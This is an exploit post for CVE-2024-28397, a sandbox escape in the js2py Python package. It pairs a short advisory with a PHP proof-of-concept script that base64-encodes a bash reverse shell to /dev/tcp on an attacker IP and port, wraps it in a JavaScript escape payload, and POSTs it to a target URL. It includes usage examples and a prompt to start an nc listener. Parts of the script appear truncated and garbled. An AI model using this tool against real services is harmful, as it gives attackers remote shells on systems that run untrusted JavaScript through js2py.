============================================================================================================================================= | # Title : js2py v0.74 Automated Sandbox Escape & Reverse Shell | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) | | # Vendor : https://pypi.org/project/Js2Py/ | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/212543/ & CVE-2024-28397 [+] Summary : js2py — a Python package that interprets and executes JavaScript code inside Python. [+] Nature of the Vulnerability The flaw exists in the sandboxing mechanism. The function disable_pyimport() fails to block access to Python internals. An attacker can escape the JavaScript sandbox and obtain Python object references. This leads to arbitrary Python code execution (RCE). [+] Impact Sandbox Escape Remote Code Execution (RCE) Threat level depends on context; potentially critical for web services using js2py to execute untrusted JS. [+] Affected Versions All versions up to and including v0.74 There is no stable upstream patch on PyPI as of the time of vulnerability reporting. Some Linux distributions patched the package themselves. POC : php poc.php & /dev/tcp/{$attacker_ip}/{$attacker_port} 0>&1"; // 2. Base64 Encode to avoid syntax errors in JS $b64_command = base64_encode($raw_command); // 3. Create the Execution Wrapper $exec_command = "echo {$b64_command} | base64 -d | bash"; // 4. The JavaScript Sandbox Escape Logic (Credit: Marven11) $js_payload = << $js_payload]); echo Colors::BLUE . "[INFO]" . Colors::ENDC . " Targeting URL: " . Colors::BOLD . $url . Colors::ENDC . "\n"; echo Colors::WARNING . "[WARN]" . Colors::ENDC . " Sending malicious payload. Check your listener! (nc -lvnp )\n"; try { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 5); // Timeout 5 seconds $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); $error = curl_error($ch); curl_close($ch); if ($error && strpos($error, 'timeout') !== false) { echo "\n" . Colors::GREEN . "[SUCCESS]" . Colors::ENDC . " Request timed out.\n"; echo Colors::GREEN . "[+]" . Colors::ENDC . " This usually indicates the shell has executed and is holding the connection.\n"; } else { echo Colors::GREEN . "[+]" . Colors::ENDC . " Response Code: {$http_code}\n"; if (!empty($response)) { echo Colors::GREEN . "[+]" . Colors::ENDC . " Response Body: {$response}\n"; } } } catch (Exception $e) { echo Colors::FAIL . "[ERROR]" . Colors::ENDC . " An error occurred: " . $e->getMessage() . "\n"; } } function check_dependencies() { /** * Check if required extensions are loaded */ if (!function_exists('curl_init')) { echo Colors::FAIL . "[ERROR]" . Colors::ENDC . " cURL extension is not enabled. Please enable it in php.ini\n"; exit(1); } if (!function_exists('json_encode')) { echo Colors::FAIL . "[ERROR]" . Colors::ENDC . " JSON extension is not enabled. Please enable it in php.ini\n"; exit(1); } } function main($argv) { banner(); check_dependencies(); // Parse command line arguments $options = []; // Simple argument parsing for Windows for ($i = 1; $i < count($argv); $i++) { if ($argv[$i] == '-u' || $argv[$i] == '--url') { $options['url'] = $argv[++$i] ?? ''; } elseif ($argv[$i] == '-i' || $argv[$i] == '--ip') { $options['ip'] = $argv[++$i] ?? ''; } elseif ($argv[$i] == '-p' || $argv[$i] == '--port') { $options['port'] = $argv[++$i] ?? ''; } elseif ($argv[$i] == '-h' || $argv[$i] == '--help') { echo "Usage: php " . basename(__FILE__) . " -u -i -p \n"; echo "Example: php " . basename(__FILE__) . " -u http://target.com/run_code -i 192.168.1.100 -p 4444\n"; exit(0); } } // Validate required arguments if (empty($options) || !isset($options['url']) || !isset($options['ip']) || !isset($options['port'])) { echo Colors::FAIL . "[ERROR]" . Colors::ENDC . " Missing required arguments!\n"; echo "Usage: php " . basename(__FILE__) . " -u -i -p \n"; echo "Example: php " . basename(__FILE__) . " -u http://target.com/run_code -i 192.168.1.100 -p 4444\n"; exit(1); } $url = $options['url']; $ip = $options['ip']; $port = intval($options['port']); // Validate port number if ($port < 1 || $port > 65535) { echo Colors::FAIL . "[ERROR]" . Colors::ENDC . " Invalid port number: {$port}\n"; exit(1); } // Validate URL format if (!filter_var($url, FILTER_VALIDATE_URL)) { echo Colors::FAIL . "[ERROR]" . Colors::ENDC . " Invalid URL format: {$url}\n"; exit(1); } try { $payload = generate_payload($ip, $port); // Show a preview of the payload echo Colors::BLUE . "[INFO]" . Colors::ENDC . " Payload preview (first 200 chars):\n"; echo substr($payload, 0, 200) . "...\n\n"; // Ask for confirmation echo Colors::WARNING . "[WARNING]" . Colors::ENDC . " This will send an exploit payload. Are you sure? (y/n): "; $handle = fopen("php://stdin", "r"); $line = fgets($handle); fclose($handle); if (trim(strtolower($line)) != 'y') { echo Colors::FAIL . "[!]" . Colors::ENDC . " Operation cancelled by user.\n"; exit(0); } send_exploit($url, $payload); } catch (Exception $e) { echo Colors::FAIL . "[!]" . Colors::ENDC . " Error: " . $e->getMessage() . "\n"; exit(1); } } // Run the main function with command line arguments main($argv); Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================